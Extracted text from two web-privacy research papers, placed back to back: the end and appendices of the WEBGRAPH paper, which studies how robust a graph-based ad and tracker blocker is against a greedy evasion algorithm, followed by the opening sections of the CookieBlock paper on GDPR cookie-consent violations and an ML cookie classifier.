such as browser fingerprinting, which use APIs that are not cur-
rently covered by our instrumentation [27, 38, 46]. To account
for these techniques, WEBGRAPH’s instrumentation must be
extended to include the corresponding APIs.

WEBGRAPH’s manually designed graph representation and
feature set capture the most well-known information shar-
ing patterns. The limits of these approach are shown in Sec-
tion 5.3.2, where we show that an adversary capable of hiding
or obfuscating traditional sharing flows has a better chance to
bypass WEBGRAPH than doing structure modifications. This
limitation is, however, linked to our implementation choices.
To increase WEBGRAPH’s coverage of sharing behaviors, if
suffices with increase the instrumentation to cover more infor-
mation flows. Ideally, we would instrument full-blown infor-
mation flow tracking. Such expansion would incur prohibitive
runtime overheads (up to 100X-1000X [35]) and its complex-
ity makes it hard to integrate in the browser [18, 20, 45, 59].
Nevertheless, the design of WEBGRAPH permits that the instru-
mentation to be upgraded gradually, as ATS evolve in response
to our evasion protection techniques, increasing the cost of eva-
sion without fundamentally changing the detection approach.

Robustness analysis. Inspired by previous work on graph-
based detection evasion [36, 62, 67], we use a greedy algorithm
to attack WEBGRAPH. This algorithm only considers the best
mutation in each iteration. Thus, it is not guaranteed to find
the optimal mutation sequence that would lead to the best
adversary performance. We note however that even exhaustive
search does not lead to perfect success (see our results on small
websites). We expect adversaries to try alternative algorithms
to improve their success rates. However, any alternative that is
close to exhaustive search will become prohibitively expensive
for the adversary when the web page graph is large.

Another option for the adversary would be to perform more
sophisticated graph mutations instead of the simple node ad-
ditions that we perform. An adversary could tailor their muta-
tions to the page’s graph structure by studying how their node
changes affect the graph properties of the web page. However,
this requires that the rest of the graph (i.e., the portions outside
of the adversary’s control) remaining unchanged. Realistically,
it would be difficult for an adversary to coordinate with other
parties to generate these changes.

Finally, we note that the dynamism of modern websites [17]
complicates the process for the adversary. Web pages change
often, sometimes on every load. Even if the adversary manages
to find an appropriate set of mutations, those mutations may
be invalid the next time the page is reloaded.

7 Conclusion

In this paper, we showed that state-of-the-art ad and tracker
blocking approaches are susceptible to evasion due to their re-
liance on easy-to-manipulate content features. We then showed
that information sharing patterns in online advertising and
tracking can be leveraged for their robust blocking. We pro-
posed WEBGRAPH, that builds a cross-layer graph represen-
tation to capture such information flows and trains a machine
learning classifier for accurate and robust blocking. Our results
showed that it is non-trivial to evade WEBGRAPH’s classifier
without causing unavoidable collateral damage.

While it is not foolproof, WEBGRAPH raises the bar for
advertisers and trackers attempting to evade detection. We
foresee that advertising and tracking services would need to
significantly re-architecture their information sharing patterns
to achieve long-lasting evasion against WEBGRAPH. We note,
however, that introducing new information flows may be quite
complicated, as they may require collaboration among the first-
party and numerous third-parties on a typical web page.
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A Comparison between ADGRAPH and WEB-
GRAPH features

Table 4 compares the features used in WEBGRAPH and AD-
GRAPH. WEBGRAPH does not use content features. Graph
size, Degree and Centrality features come under both struc-
ture and flow categories, since they include graph properties
that are based on both normal and shared information edges.
Some structural features used in ADGRAPH are not used in
WEBGRAPH due to WEBGRAPH being adapted for offline use,
whereas the features are useful in an online context.

B Distribution of graph sizes

Figure 7 shows the distribution of number of nodes in the graph
representations of the web pages in our dataset. Since 80% of
web pages have 250 nodes or fewer, we sample from this subset
in our structural mutation experiments in Section 5.

Figure 7: Distribution of number of nodes in the graph representations
of the web pages in the dataset.

C Experimental run times

(a) (b)

Figure 8: Run-times for robustness experiments without collusion.
Figure 8(a) shows mean time per iteration vs graph size, and 8(b)
shows total run time.

Figure ?? describes the run times for the experiment de-
scribed in Section 5.3.1 (adversary without collusion). Fig-
ure 8(a) shows the impact of graph size on each iteration of
the experiment. Smaller graphs have lower run times since

features have to be calculated over a smaller number of nodes.
Factors such as the complexity of the structure and flow be-
haviors also contribute towards time spent in each iteration,
which explains variations in iteration time among graphs of the
same size. We see that the mean time per iteration can be as
high as ≈ 1200 seconds (median is ≈ 68 seconds). Figure 8(b)
shows the total experiment time over all iterations for a graph.
Since we increase the sizes of graphs by 20% of their origi-
nal size, bigger graphs will have a larger number of iterations.
In our dataset, the maximum time taken for an experiment
is 46654.19 seconds, the minimum is 15.67 seconds, and the
median is 1745.11 seconds. 39% of the graphs in our dataset
have a run time of more than an hour.

For the experiment in Section 5.3.1 (collusion with first
party), the median time is 265.03 seconds, with the maximum
time going up to 992.67 seconds, despite the maximum graph
size being only 50 nodes. In comparison, for the adversary
without collusion, for graph sizes up to 50 nodes, the median is
21.46 seconds and the maximum is 221.51 seconds. Since the
adversary considers all nodes in the graph as potential parents,
each iteration takes a longer amount of time.

D Graph Mutation algorithm

In each iteration, the algorithm mutates WEBGRAPH’s graph
representation and probes the model for classification decisions.
The algorithm takes the following inputs: a graph represen-
tation of a web page, G0, consisting of all the nodes in the
graph; a set of nodes and edges T of size lT , representing the
resources loaded by the adversary, hereafter referred to as the
adversary resources; a trained classifier M that identifies ATS
in WEBGRAPH; and a maximum number of iterations that the
algorithm can run, max_iter.

The algorithm processes the input as follows: It first uses the
classifier M to obtain classifications of all nodes in the original
graph G0 (lines 1–4 in Algorithm ??). Second, it iterates over
the steps from lines 9–20 max_iter times. In each iteration, ev-
ery adversary node tries resource addition, resource re-routing,
and obfuscation, and produces a new mutated graph, Gi (line
11). Third, it extracts features from the mutated graph Gi and
uses them to classify all the nodes in this graph (lines 11–12).
Fourth, it compares the predictions in the original and mutated
graphs to obtain the number of desired and undesired switches
(line 13). We assume an adversarial goal for which desired
switches are all those in which an adversary node is switched
from ATS to Non-ATS, whereas undesired switches are all those
where any Non-ATS node is switched to ATS node. We call the
total number of adversarial ATS nodes whose prediction the
adversary wishes to change to Non-ATS the number of required
switches. The switching of nodes not under the adversary’s
control from ATS to Non-ATS do not affect the adversary. These
switches are, therefore, neither desired nor undesired. Finally,
the adversary chooses the mutation that provides the best re-
sult, i.e., the one with the best trade-off between desired and
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Feature Type WEBGRAPH ADGRAPH

Request type (e.g. iframe, image) Content
Ad keywords in request (e.g. banner, sponsor) Content
Ad or screen dimensions in URL Content
Valid query string parameters Content
Length of URL Content
Domain party Content
Sub-domain check Content
Base domain in query string Content
Semi-colon in query string Content

Graph size (# of nodes, # of edges, and nodes/edge ratio) Structure
Degree (in, out, in+out, and average degree connectivity) Structure
Centrality (closeness centrality, eccentricity) Structure
Number of siblings (node and parents) Structure
Modifications by scripts (node and parents) Structure
Parent’s attributes Structure
Parent degree (in, out, in+out, and average degree connectivity) Structure
Sibling’s attributes Structure
Ascendant’s attributes Structure
Descendant of a script Structure
Ascendant’s script properties Structure
Parent is an eval script Structure

Local storage access (# of sets, # of gets) Flow (storage)
Cookie access (# of sets, # of gets) Flow (storage)
Requests (sent, received) Flow (network)
Redirects (sent, received, depth in chain) Flow (network)
Common access to the same storage node Flow (shared information)
Sharing of a storage node’s value in a URL Flow (shared information)
Graph size (# of nodes, # of edges, and nodes/edge ratio) Flow (shared information)
Degree (in, out, in+out, and average degree connectivity) Flow (shared information)
Centrality (closeness centrality, eccentricity) Flow (shared information)

Table 4: WEBGRAPH features comparison with ADGRAPH. indicates that a feature is present. WEBGRAPH calculates Graph size, Degree
and Centrality features using both normal and shared information edges. The former comes under structural features while the latter comes
under flow features.

undesired switches (lines 14–15). The adversary updates its T
based on the chosen mutation (line 18). To keep memory and
run time manageable, at the end of every iteration the algorithm
randomly samples lT adversarial nodes and edges from T (line
19) to be considered in the next iteration.

E Mutations on a single web page.

To illustrate how mutations result in classification switches, we
take as an example a web page in which the third party with the
highest number of ATS resources is assets.wogaa.sg, which
has 12 nodes in the graph. Figure 9 shows the breakdown of
classification switches as the adversary mutates the graph using
the greedy mutation algorithm. The ATSAdv or the number of
classifications the adversary wants to switch is 5 (pink line

). From the adversary’s point of view, adversarial nodes
switching from ATS→ Non-ATS are desired (blue line ),
whereas adversarial nodes switching from Non-ATS → ATS
are undesired (orange line ). We consider Non-ATS→ ATS
changes on non-adversarial nodes to be undesired because they
may have unintended impact on the web page (red line and

brown line ). For instance, a first party Non-ATS → ATS
switch may break the web page. We note that, if the adversary’s
goal is to just create a denial of service and force the user
to disable ad and tracker blocking, the adversary might be
unconcerned about breakage. In our experiments, switches that
do not affect the adversary, such as ATS→ Non-ATS for non-
adversary nodes, are neither considered desired nor undesired
(purple line and green line ).

There are two points worth highlighting from Figure 9: (1)
Even if an adversary achieves the maximum number of desired
switches, the mutations may produce undesirable changes, to
both the adversary’s nodes and others. For instance, at 20%
of growth, 3 of the adversary’s ATS nodes are classified as
Non-ATS, but also 7 Non-ATS nodes (3 adversary and 4 non-
adversary) switch to the undesired ATS classification. (2) The
evolution of desired and undesired switches is not monotonic,
i.e. the classification of nodes may change in both directions
as the adversary mutates the graph, resulting in increasing
or decreasing counts. This finding reinforces our argument
that it can be cumbersome for an adversary to create targeted
structural mutations without any unintended consequences. Not
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Algorithm 1 Greedy random graph mutation. G0 is a web page
representation, T is the set of lT nodes and edges controlled
by the adversary, M is a trained model, and max_iter is the
maximum number of operations.
Input: G0,T,C,M,max_iter

1: for v ∈ G0 do
2: xG0 ← ExtractFeatures(v) ∀ v ∈ G0
3: yG0 ← Classify(M,x) ∀ x in xG0

4: end for
5: G← G0
6: i← 0
7: graph-info = []
8: while i < max_iter do
9: for t ∈ T do

10: Gt ← MutateGraph(G,t)
11: xt ← ExtractFeatures(v) ∀ v ∈ Gt

12: yt ← Classify(M,x) ∀ x in xt
13: d,u ← GetDesiredAndUndesired(yt,yG0 )
14: ∆t = d−u
15: graph-info[t] ← (∆t,t,Gt )

16: end for
17: G← Gt in graph-info[t] with largest ∆t
18: T ← UpdateAdv(T,t ∈ graph-info[t])
19: T ← sample(T,lT )
20: i← i+1
21: end while

Figure 9: Example breakdown of classification switches for the
adversary’s and other nodes on the graph. NATS is shorthand for
Non-ATS. ATSAdv = 5 (pink line), Non-ATSAdv = 7, ATSWeb = 62,
ATSWeb = 13 (not shown in plot). At 20% growth, the adversary
achieves 3 desired switches, 7 undesired switches and 1 neutral
switch. This leads to a success rate of 60%, a collateral damage of
10.14% and other changes of 7.7%.

only it is hard to predict how mutations will affect adversary’s
own desired classification, but also how those mutations may
result in undesirable changes to others.

F WEBGRAPH robustness experiments

We show plots for the experiments in Sections 5.3.1 and 5.3.3.
Figure 10 shows the results for an adversary that performs
only resource addition against ADGRAPH (with only struc-
tural features) and WEBGRAPH. ADGRAPH shows a higher
number of successes for the adversary (44 pages with suc-
cess rate > 50% as compared to 30 for WEBGRAPH). At the
same time, ADGRAPH also shows a higher amount of collat-
eral damage (which is not beneficial for the adversary) – 66
pages with non-zero collateral damage, as compared to 47 for
WEBGRAPH. Hence, there is no clear-cut winner between the
two classifiers in terms of robustness. However, we do see that
ADGRAPH has lower successes and higher collateral damage
than WEBGRAPH against the powerful adversary that can do
all mutations as shown in Figure 6(a) (note that this adversary
cannot be used against ADGRAPH since ADGRAPH does not
use information flow edges), since this adversary targets the
effective, but costly, information sharing patterns.

Figure 11 shows the results for an adversary that colludes
against an adversary with no collusion (Section 5.3.1). A col-
luding adversary shows a higher number of successes (63
pages with success rate > 50% as compared to 60 for the non-
colluding adversary), and a lower collateral damage (9 pages
with damage >0% compared to 18 pages for a non-colluding
adversary).

Figure 10: Adversary’s success rate vs. collateral damage for each test
page at 20% graph growth, for resource addition against ADGRAPH

and WEBGRAPH.

Figure 11: Adversary’s success rate vs. collateral damage for each
test page at 20% graph growth, for colluding and non-colluding ad-
versaries.
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Abstract
The European Union’s General Data Protection Regulation

(GDPR) requires websites to inform users about personal data
collection and request consent for cookies. Yet the majority
of websites do not give users any choices, and others attempt
to deceive them into accepting all cookies. We document
the severity of this situation through an analysis of potential
GDPR violations in cookie banners in almost 30k websites.
We identify six novel violation types, such as incorrect cat-
egory assignments and misleading expiration times, and we
find at least one potential violation in a surprising 94.7% of
the analyzed websites.

We address this issue by giving users the power to pro-
tect their privacy. We develop a browser extension, called
CookieBlock, that uses machine learning to enforce GDPR
cookie consent at the client. It automatically categorizes cook-
ies by usage purpose using only the information provided in
the cookie itself. At a mean validation accuracy of 84.4%,
our model attains a prediction quality competitive with expert
knowledge in the field. Additionally, our approach differs
from prior work by not relying on the cooperation of websites
themselves. We empirically evaluate CookieBlock on a set of
100 randomly sampled websites, on which it filters roughly
90% of the privacy-invasive cookies without significantly
impairing website functionality.

1 Introduction

Browser cookies are the most common method for tracking
the session state of websites. While some cookies are neces-
sary for a website to operate, such as authentication cookies
that keep users logged in, the majority of cookies are used
for user tracking and advertising (as we show later in Fig. 2).
Despite the existence of stateless tracking techniques such
as browser fingerprinting [1], stateful tracking using cookies
remains the primary tracking method. In 2019, Solomos et
al. report that almost 90% of all websites use tracking cook-
ies [48], an increase from 80% observed in a study by Roesner
et al. from 2012 [42].

Governments have attempted to address user tracking
through regulations. In the European Union, the General Data
Protection Regulation (GDPR) [19] and the ePrivacy Direc-
tive [18] place restrictions on personal data collection and
tracking. Article 6 of the GDPR specifies that a legal basis
is required for a website to collect user data, the most com-
mon basis being consent. Article 7 and Recital 32 specify
that consent must be freely-given, unambiguous, specific, and
informed. The ePrivacy Directive and Recital 30 of the GDPR
specify that the consent requirements also apply to the use
of cookies. Websites must thereby inform users about the
purposes cookies are used for, and they must provide users
with the option to deny consent for specific purposes.

The GDPR has created a demand for prepared consent so-
lutions, from which a new “consent as a service” industry has
emerged [53]. The companies offering these services, called
consent management platforms (CMPs), provide websites
with cookie banner implementations that handle the collection
of consent from users [24], and offer detailed descriptions of
all the purposes that cookies are used for. Unlike the simpler
cookie notices, which only inform users about the mere use
of cookies, CMPs promise to provide users with more control
over their personal data, fulfilling the GDPR’s requirements
in this area. However, Kampanos et al. [30] find that in a sam-
ple of approximately 14k websites from the UK and 3k from
Greece, only 44% and 48%, respectively, show a cookie ban-
ner to the user. With 90% of all websites using tracking cook-
ies, this means that many neglect to comply with the GDPR.

Websites that use CMPs also often do not live up to their
promises, with many violating even basic rules. Nouwens et
al. [39] show that 88.2% out of 680 examined websites that
use a CMP fail in at least one of three simple requirements,
including the requirement of opt-in choices and explicit
consent. Matte et al. [34] found that in a sample of 1426
selected websites, 9.89% register affirmative consent before
the user makes a choice, 2.66% do not allow any cookies to
be rejected, and 1.89% register positive consent even when
rejected by the user. Moreover, prior work has also shown
that many CMPs attempt to influence visitors into accepting
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Tranco 6M URLs 30k websites
with CMPs 304k cookies 84.4% weighted

accuracy
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at least one violation

collect
ground truth

detect six novel privacy violation types

Figure 1: Overview of the process involved in our study and the (intermediate) results.

all cookies. For example, a study by Utz et al. [52] shows
that 57.4% of 1000 examined websites use nudging, which
involves highlighting the “Accept All” button, or hiding
the option to reject consent. This trend does not appear
to be changing [30], and while high-profile violations are
penalized [29, 38], GDPR enforcement regarding cookies is
lagging behind, as the aforementioned studies show.

Our analysis. We confirm the lack of GDPR compliance
by extending and improving upon past research. We analyze
the accuracy of the information displayed on cookie banners,
using a dataset collected from almost 30k websites. Specifi-
cally, we identify incorrect category assignments, misleading
cookie expiration times, and assess the overall completeness
of the consent mechanism. We define six novel methods to
detect potential GDPR violations and extend two methods
used in prior works. For the selected domains, we find that
94.7% contained at least one potential violation. In 36.4%,
we found at least one cookie with an incorrectly assigned
purpose, and in 85.8%, there was at least one cookie with a
missing declaration or missing purpose. 69.7% of the sites
assumed positive consent before it was given, and 21.3% cre-
ated cookies despite negative consent. Our results indicate
that this problem is more severe than previously indicated.

Note that we refer to the violations found as potential be-
cause only a judicial ruling can provide the legal certainty as
to whether they are actual legal violations. In Section 6 we
argue why they should be considered violations by referring
to relevant regulations and legal precedents.

Browser extension. Based on evidence from prior works
and our own measurements, cookie consent practices violate
the GDPR so frequently that regulatory authorities cannot
hope to keep up. We therefore provide users with a tool to en-
force cookie consent on their web clients, without regulatory
intervention. We develop a browser extension, CookieBlock,
that classifies cookies by purpose, removing those that the
user rejects. In this way, users can remove over 90% of all
privacy-invasive cookies, without having to trust cookie ban-
ners or CMPs. Previous attempts to provide users such control,
like the P3P standard [10], failed due to a lack of willingness
of website administrators to implement the functionality re-
quired. We sidestep this problem by not relying on websites’
cooperation at all.

We evaluate CookieBlock on a set of 100 websites to quan-
tify the extension’s impact on users’ browsing experience.
CookieBlock causes no issues on 85% of the sites, minor
problems involving non-essential website functions on 8%,
and more substantial issues on 7%. The more substantial
problems involved the user’s login status being lost due to the
removal of essential cookies. To resolve these problems, the
user can selectively define website exemptions, and change
the classification of cookies through CookieBlock’s interface.

To classify cookies, CookieBlock uses an ensemble of de-
cision trees model, trained using the XGBoost [8] library. We
gathered a training dataset of cookies from 29 398 websites
that display cookie banners from a specific set of CMPs. Each
CMP maintains its own cookie-to-purpose mapping, which
we use to define the ground truth class-labels for the cookies
in our dataset.

We evaluate the model by comparing its performance with
the “Cookiepedia” repository [40]. Cookiepedia assigns pur-
poses to cookies based on their name, and was constructed
manually over a span of 10 years by experts in the domain
of browser cookies. We query this repository for purpose pre-
dictions and compare the results with our selected ground
truth. In summary, we find that Cookiepedia achieves a bal-
anced accuracy of 84.7%, while our XGBoost-trained model
achieves 84.4%. As such, our model is competitive with the
performance achieved by human experts, showing that it is
possible to automatically classify cookies by purpose using
only the information available in the cookies themselves.

Contributions. First, we identify inaccurate information in
cookie banners, and apply this to a sample of approximately
30k websites, finding potential GDPR violations for 94.7%
of them. Second, we present a machine-learning classifier
that infers purposes from cookies, reaching a performance
that is comparable to that of human experts. Third, we de-
velop a browser extension that automatically removes cookies
according to users’ preferences, which, unlike comparable
approaches, is applicable to any cookie and does not require
websites to cooperate. Finally, we release our tools for web ad-
ministrators, allowing them to verify and improve the cookie
consent compliance of their websites.1

1An extended version of the paper, the datasets, and tools can be found at
https://karelkubicek.github.io/post/cookieblock.
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Organization. The remainder of the paper is structured as
follows. Section 2 describes our approach to collecting cookie
information from CMPs, including the purposes used for
training and the data used for the website analysis. Sections 3
and 4 describe the features we extract from cookies and
our classifier model. Section 5 describes and evaluates the
browser extension. Section 6 presents our website analysis
and demonstrates our approaches to detecting potential
GDPR violations. Section 7 discusses the scope of our work
and its limitations. Section 8 describes related work, and
Section 9 draws conclusions.

2 Dataset collection

In this section we describe how we collected our dataset of
cookies annotated with the ground-truth class-labels. This
dataset is then used for both the classifier in Section 4 and
the GDPR compliance analysis presented in Section 6.

We collect cookie purposes from consent management plat-
forms (CMPs). In contrast to Cookiepedia, these purposes
are chosen by the website administrators who control which
cookies are created in the users’ browsers [9,49]. As such, we
collect the ground truth from parties that have full knowledge
about the purposes of cookies, rather than a third-party who
may not know the full context. This also allows us to assign
categories to cookies that are rare and may be unknown to
Cookiepedia. In Section 4.1, we show that more than 20% of
the collected cookies could not be identified by Cookiepedia.

Our first step is to select CMPs that list cookies with their
purposes (Section 2.1). Then, from a set of six million do-
mains, we detect the presence of the selected CMPs (Sec-
tion 2.2). For each website where a CMP is used, a web
crawler gathers both the cookies declared by the CMP and
the cookies that are created in the browser when interacting
with the website (Section 2.3). Finally, we combine the decla-
rations with the cookies, and obtain the training data for use
with our classifier (Section 2.4).

2.1 Suitable CMPs and cookie categories
There are a plethora of CMPs, each offering its own website
plugin [24]. These plugins range from simple notifications
to elaborate cookie banners that allow users to choose from
dozens of possible category options [31]. The purpose assign-
ments we intend to collect can only be retrieved from a small
subset of all CMPs. In this section, we describe the criteria
we used to select them.

Our first criterion is that the CMP must publicly and re-
liably list purposes for each cookie on every website where
the plugin is correctly implemented. This is essential for col-
lecting the purpose labels that we take as the ground truth.
On certain websites, CMPs may offer category choices, but
they do not display which cookies belong to which category.
Our second criterion is that, when this mapping exists, it must

Table 1: Listing of CMPs and their market share in the top
1M websites as reported by BuiltWith [6]. In the third and
fourth columns, we evaluate the CMPs with respect to two
criteria for collecting purpose labels.

CMP Market share Remote? Labels?

Osano 2.25% 3 7
Cookie Notice 1.29% 7 7
OneTrust 1.17% 3 3
OptAnon 1.08% 3 3
Cookie Law Info 0.95% 7 7
Cookiebot 0.77% 3 3
Quantcast CMP 0.68% 3 7
UK Cookie Consent 0.33% 7 7
TrustArc 0.26% 3 7
WP GDPR Compl. 0.20% 7 7
Moove GDPR Compl. 0.18% 7 7
tarteaucitron.js 0.16% 7 7
Usercentrics 0.16% 3 7
CookiePro 0.15% 3 3
Borlabs Cookie 0.12% 7 3
EU Cookie Law 0.12% 7 3
PrimeBox CookieBar 0.09% 7 7
Cookie Script 0.07% 3 3
Cookie Information 0.06% 3 3
Termly 0.05% 3 3
Cookie Info Script 0.05% 3 7
Easy GDPR 0.04% 3 7

be accessible in a way that can be automatically processed,
ideally hosted remotely on a server by the CMP itself. Some
websites list the cookie-to-purpose mapping in their privacy
policy. This is generally not useful as the HTML structure
of such policies varies greatly between sites, and thus would
require a specialized data extraction for each case.

In Table 1 we list the CMPs with the highest market-
share worldwide, as reported by the technology trend database
BuiltWith [6]. For each entry, we list how suitable they are for
data collection, based on our criteria. We selected the CMPs
OneTrust, OptAnon, Cookiebot, CookiePro, and Termly, here
displayed in boldface, which we will use for all subsequent
steps of data extraction and analysis.

2.1.1 Cookie purpose categories

No law defines which set of cookie purposes the CMPs must
declare. Only cookies that are strictly necessary for website
operation are recognized, which as per Article 5(3) of the
ePrivacy Directive do not require consent from users, and may
therefore be set before interaction with the cookie banner.

Given that the categories are not regulated, this selection
varies across CMPs. For instance, the Transparency and Con-
sent Framework 2.0 (TCF), an industry standard defined by
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Table 2: Keywords used to map purposes in CMPs to the se-
lected categories, with the percentage of declarations matched.
By * we group multiple suffixes of similar words. The “Other”
category contains the cookie declarations that did not match
a category, including non-English category names.

Category Fraction Keywords

Necessary 13.2% essential, mandatory, necessary, required

Functional 8.7%
function*, preference, secure, security,
video

Analytics 11.4%
anonym*, analytic*, measurement,
performance, research, statistic*,

Advertising 60.9%

ad, advertis*, ads, ad selection,
fingerprint*, geolocation, market*,
personalis*, personal info, sale of data,
target*, track*

Unclassified 3.9% uncategorize*, unclassified, unknown

Other 1.9% -

IABEurope, proposes a set of 12 purposes for cookies [17].
Others, like OneTrust, even support the definition of custom
categories by the website administrator [9]. In this work, we
restrict ourselves to the following four categories, as origi-
nally defined by the UK’s International Chamber of Com-
merce [26]:

1. (Strictly) Necessary cookies, which cannot be omitted
without breaking the website’s main functionality, such
as authentication cookies.

2. Functional cookies, which allow for website customiza-
tion without collecting user data, and are not required
for essential services. Examples include user-specific
localization and layout customization.

3. Analytics cookies, which serve to track and analyze users’
behaviors on a single domain, and are used for aggre-
gated data collection. Google Analytics cookies are com-
mon examples from this category.

4. Advertising cookies, which serve to deliver targeted ad-
vertisements by tracking users across multiple different
domains. DoubleClick or social media websites are com-
mon origins for tracking cookies.

In addition to these categories, we also identify unclassified
cookies, which will be used for the analysis in Section 6. The
advantages of the above four categories are that they represent
an ordering from the least to most privacy-invasive types of
cookies, and that they represent clearly distinct functions. This
makes it easier for users to select and distinguish them.

To map the purposes listed in cookie banners to the cate-
gories we use internally, we use the keyword mapping shown
in Table 2. Purposes that do not contain any of the keywords
are recorded as ’Other’, and are neither used for training the
classifier nor for our analysis.

2.2 CMP presence crawler
After selecting which CMPs to target, we need to find domains
that use these CMPs to show cookie banners. To do so, we
implemented a fast website scanning procedure using the
Python requests library to concurrently fetch the index page
of multiple target websites and scan them for the presence of
the desired CMP. If the CMP is used, the website is recorded
as being a potential candidate for retrieving cookie labels, and
otherwise, the site is filtered out.

Because of the relatively low percentage of websites that
use the selected CMPs, and to maximize the amount of col-
lected data, we initialize the presence crawl using a set of
nearly six million distinct domains. Our primary source is the
Tranco ranking [32] of May 5th, 2021,2 which lists domains
ranked by their estimated worldwide popularity.

Our scan was performed on an AWS EC2 server instance
located in Germany, with 32 vCPUs, 64 GB of RAM, and
a 10 Gigabit connection. Special care was taken to perform
the scan from within an EU country, as previous works have
shown that there is significant geographic discrimination with
regards to GDPR enforcement. Cookie banners are generally
less likely to be shown to non-EU visitors [11, 13].

In total, we find 37 587 (∼ 0.63% of 5.94M) candidate
domains for the next step of our data collection process.

2.3 Scraping cookie consent information
The second stage of the data collection process is to extract
the cookies and their corresponding purposes from the can-
didate domains. To do so, we utilize the OpenWPM frame-
work, version 0.12.0 [16, 35], which runs multiple concurrent
Firefox browser instances via Selenium. OpenWPM instru-
ments the browser such that all cookie creations and updates
are recorded. We call these cookies the observed cookies.

We extend OpenWPM to handle data extraction from the
CMPs. The gathered information includes at least the declared
name, domain, expiration time, and purpose description, as
well as the purpose category of the cookie. We will refer to this
data as the declared cookies. The exact method for retrieving
the declared cookies is specific to the CMP implementation.
Common to all approaches is that we retrieve the informa-
tion directly from the JavaScript files that define the consent
mechanism. As such, the gathered information should directly
relate to which cookies are accepted or rejected depending on
the users’ choices in the cookie banner.

Our crawl then proceeds as follows: For each domain, af-
ter arriving on the landing page, the crawler detects which
CMP is actively present on the site. Then the set of declared
cookies are extracted. If this proceeds without error, the sub-
sequent steps are intended to trigger the creation of cook-
ies in the browser. First, the crawler consents to all cookie
purposes in the cookie banner using the Consent-O-Matic

2Available at: https://tranco-list.eu/list/P63J/full
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Figure 2: The total number of cookie declarations with the
ratio of observed cookies that match, separated by category.

extension [27, 39]. This is required, as otherwise, the lack
of consent would prevent cookies from being created. After-
wards, the browser visits random links leading to subpages
of the domain, scrolling down to the bottom of each page
and performing random cursor movements for each subpage.
Urban et al. [51] reported that browsing subpages increases
the number of observed cookies up to 36%. As a trade-off
between crawling speed and the amount of collected data, we
visit ten randomly selected subpages for each site.

The consent crawl was performed on the same AWS EC2
instance described in Section 2.2, and took approximately
36 hours for the ∼ 37.5k candidate domains. In total, we
successfully extracted ∼ 2.2 million declared cookies from
the cookie banners of 29 398 websites (∼ 72 cookies per site).
In addition, we extracted 602k observed cookies from those
same websites (∼ 22 cookies per site). We find that 81.2% of
the declared cookies are third-party entries, while only 46.3%
of the observed cookies stem from third-parties.

There exists a discrepancy between the number of declared
and observed cookies, which we explain as follows:

Limited automated interaction with the website. Our
crawler does not register an account, login or modify the web-
site settings, which can lead to fewer necessary and functional
cookies being observed.

Overabundance of declarations. CMPs may list signifi-
cantly more cookies in their cookie banners than there are
actual cookies to be found on the website. Papadopoulos et
al. [41] find that users will encounter approximately ∼ 12
cookies per site. We observe a mean of ∼ 22 cookies, indicat-
ing that we do not observe significantly fewer cookies than
the related work in the area.

2.4 Obtaining the training dataset
Our training dataset consists of the observed cookies, with
purposes derived from matching cookie declarations. Each
cookie is uniquely identified by its name, host, and the target
domain of the crawl, and these values are used as the key
to join observed and declared cookies. This produces a
total of 304k cookie samples for training, of which 28.2%
are necessary, 6.2% are functional, 29.0% are analytics,
and 36.7% are advertising. An additional 18k cookies are
unclassified, or declared a purpose that could not be assigned
to any of our categories.

Fig. 2 shows the total number of declarations per category,
together with the ratio of observed cookies. It is important
to note that the category of functional cookies is underrepre-
sented, which we compensate for by weighting the samples
when training the classifier. Moreover, despite the overabun-
dance of declarations, out of 602k observed cookies, only
53.6% could be matched with a declaration. This implies
that there may be many cookies present on websites that are
unknown to the cookie banner. We will discuss this topic in
more detail in Section 6.

3 Feature extraction

Cookies have multiple attributes, including a name, domain,
path, value, expiration timestamp, as well as flags such as the
“HttpOnly,” “Secure,” “SameSite,” and “HostOnly” proper-
ties. There is no straightforward relationship between these
attributes and the cookies’ purpose. Therefore, we extract
statistically-rich, domain-specific features so that a machine-
learning model can extract a potentially complex, meaningful
relation from the data.

We define more than 50 feature-extraction steps that rep-
resent a cookie as a real-valued sparse vector. We provide
a high-level account of these steps below. More details are
provided in Appendix B and the full description is given in
the extended report [3] and documentation.3

Top-500 most common names and domains. A very ef-
fective method for identifying a cookie’s purpose is detecting
whether the cookie name or its origin domain are among the
most common identifiers found online. Using a representative
random sample of websites from our Tranco list, we collect a
ranking of the 500 most common cookie names and domains.
The intuition is that web modules use first-party cookies with
predefined names and purposes, such as PHPSESSID in the
case of PHP, and that cookies originating from the same do-
main usually have a common purpose.

Value type, encoding, and length. Several of our features
indicate the presence of specific data types in the cookie
content. This ranges from scalar types such as Booleans or
integers to composite types such as CSV or JSON. We also

3The feature documentation and classifier are available at:
https://github.com/dibollinger/CookieBlock-Consent-Classifier.
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record the number of entries for composite types, as well
as the length of the content in bytes as ordinal features. We
furthermore distinguish between decimal and hexadecimal
integers, as well as base64 and URL encoded strings. The
intuition is that by identifying the types of data stored in a
cookie, the classifier can better distinguish which cookies are
used for tracking. For example, long hexadecimal strings are
more likely to be used for uniquely identifying a user than
short decimals.

Dates, timestamps, UUIDs, URLs, or locale strings.
These values may provide hints about the purpose of a cookie.
Intuitively, dates, UUIDs, and timestamps may be used as
unique identifiers for tracking, while locales and URLs are
more commonly used with functional cookies, for example to
alter the display language or input method.

Update Features. Cookies are dynamic, and can be fre-
quently updated by HTTP requests or through events in
JavaScript code. As such, we not only consider features for
a single state of the cookie, but also for changes that occur
over time. Examples are the total number of times a cookie is
updated over a fixed time interval, or the edit distance between
cookie updates.

Cookie entropy. The entropy of the cookie’s content, for
example computed using Shannon’s method, can provide in-
formation about its randomness. The intuition is that tracking
identifiers often include a randomly generated component
and hence have high entropy, thus potentially allowing the
classifier to detect tracking cookies.

Note that not all cookie features can be used in all settings.
For instance, in our dataset, advertising cookies are updated
more rarely than other types of cookies. While this property
could be used as a feature for training, it is highly dependent
on the user’s browsing pattern. Any features that are based
on such patterns are unreliable in the setting of a browser
extension, and may cause false predictions that cannot be
observed during the model validation. For CookieBlock, we
therefore only use those features that are agnostic to browsing
patterns. Nevertheless, such properties may still be used for
offline settings with a fixed browsing behavior, such as studies
involving automated web-crawlers.

4 Classification

In this section, we present the design and evaluation of our
cookie purpose classifier. We first describe the baseline,
which is the manually constructed repository Cookiepedia
(Section 4.1). Next, we explain our choice of model
(Section 4.2) and the selected hyperparameters (Section 4.3).
We explain the impact of different types of misclassifications
(Section 4.4), and present our model’s performance, com-
paring it with the selected baseline (Section 4.5). Finally, by
estimating the degree of noise in the data, we estimate the best
possible classifier performance for this dataset (Section 4.6).

4.1 Baseline

We compare our model’s performance to that of a manual
